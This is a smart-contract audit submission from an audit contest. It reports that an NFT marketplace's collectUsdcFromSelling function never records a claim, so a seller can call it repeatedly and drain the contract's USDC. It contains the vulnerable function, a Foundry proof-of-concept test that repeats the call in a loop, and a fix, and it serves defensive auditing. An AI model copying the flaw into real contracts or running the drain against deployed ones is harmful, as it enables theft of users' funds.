NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

[H-01] Missing state update in collectUsdcFromSelling allows sellers to infinitely drain the contract's USDC balance

Root + Impact

Description

Normal behavior ensures that after an NFT is sold (which sets the listing to inactive), the seller can call collectUsdcFromSelling exactly once to retrieve their sale revenue and collateral.

The specific issue is that collectUsdcFromSelling transfers the funds but fails to update any state variable to mark the funds as claimed, allowing the seller to call the function repeatedly and drain the contract.

Solidity
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");

uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;

// @> No state is updated before or after these transfers
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood:

Whitelisted users who successfully sell an NFT can exploit this immediately.

It requires zero technical knowledge to exploit, as a simple script or repeated manual calls will trigger the drain.

Impact:

Complete loss of funds. The attacker can drain all USDC held by the NFTDealers contract, stealing minting collaterals, accumulated fees, and funds belonging to other users.

It completely breaks the core economic security of the marketplace.

Proof of Concept

Solidity
function test_PoC_InfiniteUSDCDrain() public {
vm.startPrank(attacker);
dealers.mintNft();
dealers.list(1, 100e6);
vm.stopPrank();

vm.prank(buyer);
dealers.buy(1);
vm.startPrank(attacker);
uint256 attackerBalanceBefore = usdc.balanceOf(attacker);
for(uint i = 0; i < 5; i++) {
dealers.collectUsdcFromSelling(1);
}
vm.stopPrank();
uint256 attackerBalanceAfter = usdc.balanceOf(attacker);
assertGt(attackerBalanceAfter, attackerBalanceBefore + 100e6);
}

Recommended Mitigation

Diff
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");


  • require(listing.price > 0, "Funds already collected");
    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];

  • s_listings[_listingId].price = 0;

  • collateralForMinting[listing.tokenId] = 0;
    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;

  • usdc.safeTransfer(address(this), fees);
    usdc.safeTransfer(msg.sender, amountToSeller);

    }

Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!